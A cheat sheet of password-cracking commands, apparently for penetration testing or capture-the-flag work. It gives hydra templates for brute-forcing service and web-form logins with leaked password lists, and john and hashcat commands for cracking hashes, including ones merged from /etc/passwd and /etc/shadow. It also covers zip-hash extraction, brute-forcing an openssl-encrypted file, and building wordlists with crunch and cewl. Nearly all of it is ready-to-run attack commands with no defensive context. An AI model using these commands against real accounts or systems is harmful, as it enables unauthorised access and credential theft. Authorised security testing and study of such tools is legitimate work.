Ultimate Cheat Sheet: Password Cracking

Online Password Cracking

```
//Use hydra to crack password of a service when you know the username
hydra -l [username] -P [password list] [service name]://[IP]:[port]

//Use hydra to crack password of a service when you don't know the username
hydra -L [username list] -P [password list] [service name]://[IP]:[port]

//Hydra web forms with username
hydra -L bm_unames.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-20.txt -f -e nsr 192.168.57.11 http-post-form "/login.php:username=^USER^&password=^PASS^:failed"

//Hydra web forms without username
root@kali:~# hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-65.txt -f 192.168.56.130 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid" -la

root@kali:~# hydra -P [WORDLIST] -f [IP] http-post-form "/[PATH TO POST FORM]:[PARAM]=^PASS^:[WORD ON PAGE WHEN LOGIN IS INVALID]" -la
```

Offline Password Cracking

```
//Crack the hashes in a file using john
john --wordlist=[WORDLIST] -rules [hash file]

//Combine /etc/passwd and /etc/shadow into one file that
can be cracked with hashcat or john
unshadow passwd shadow > outfile

//Crack the hashes in a file using hashcat
hashcat -m [HASH TYPE] -a 0 --force [FILE WITH HASHES]
[DICTIONARY LOCATION]

//Get hash from a password protected zip file:
zip2john [ZIP FILE]

//Brute force openssl encrypted file
bruteforce-salted-openssl -c aes256 -d md5 out_file.txt -f
mdry_wl -v 20

//Decrypt an openssl encrypted file
openssl enc -aes256 -md md5 -base64 -nosalt -in
test_file.txt -k [KEY]
```

Wordlists

```
//Create a wordlist given part of the password
crunch [PASS LENGTH MIN] [PASS LENGTH MAX] -o [OUTFILE] -t
[PASSPART]@@ (where @ is the missing letters)

//Create a wordlist by scraping a site
cewl [ADDR] --write [OUT FILE]
```